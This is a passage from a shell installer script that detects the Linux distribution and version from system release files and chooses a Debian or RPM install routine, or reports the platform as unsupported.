VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
fi
case "$DISTRO" in
"Ubuntu")
if [ $VERSION -ge 10 ]; then
install_deb
else
unsupported
fi
;;
"LinuxMint")
if [ $VERSION -ge 9 ]; then
install_deb
else
unsupported
fi
;;
"Debian")
if [ $VERSION -ge 6 ]; then
install_deb
elif [[ $VERSION == *sid* ]]; then
install_deb
else
unsupported
fi
;;
*)
unsupported
;;
esac
elif [ -f /etc/system-release-cpe ]; then
DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
case "$DISTRO" in
"oracle" | "centos" | "redhat")
if [ $VERSION -ge 6 ]; then
install_rpm
else
unsupported
fi
;;
"amazon")
install_rpm
;;
"fedoraproject")
if [ $VERSION -ge 13 ]; then
install_rpm
else
unsupported
fi
;;
*)
unsupported
;;
esac
else
unsupported
fi

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